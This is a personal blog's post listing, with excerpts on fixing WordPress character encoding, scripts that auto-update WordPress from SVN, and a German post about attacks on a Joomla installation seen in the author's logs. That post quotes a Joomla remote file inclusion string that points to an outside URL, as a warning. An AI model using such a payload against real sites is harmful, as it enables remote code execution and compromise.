Sanitizing WordPress UTF-8 – or Howto get rid of mixed Latin1 and UTF8 mysql exports

Actually my attention comes to some weird characters in my wordpress blog. Such as ü or ö as represantants of ä and ö. So i had a look into my mysql-db and saw that it was still on latin1. On … Continue reading

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automatic update of WordPress with svn

My automatic upgrade had last night a bit of a problem. A change which required user-interaction was the problem. The following ruby code deal with this problem: —- #!ruby -W0 @doc = ‘http://svn.automattic.com/wordpress/tags/’ @pathtoupdate = "/www/www.web-dreamer.de/wordpress/trunk" #puts @doc @tags = … Continue reading

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Auto-Update wordpress to the latest

Finaly the svn update on the trunk isn’t that satifying i thought initialy of. Most often the development branch is broken or has some issues. But for my symphaty i developed a small perl-script which called via cron is autoupdating … Continue reading

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Perl in ubuntu is fu**

Just want to say / i hate ubuntu in a perl-manner of speaking…

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Massive Attacken auf Joomla installationen

Im momment sind in meinem Log mönströse attacken auf die nicht mehr vorhandene Joomla installation zu finden. Dabei habe ich wirklich interessante Perl-Skripte gefunden. I keep you updated. Achtet dabei vor allen Dingen: ?mosConfig_absolute_path=http://asdsdjals.com/test.txt? Auch wwwusage scheint im Angriff zu … Continue reading

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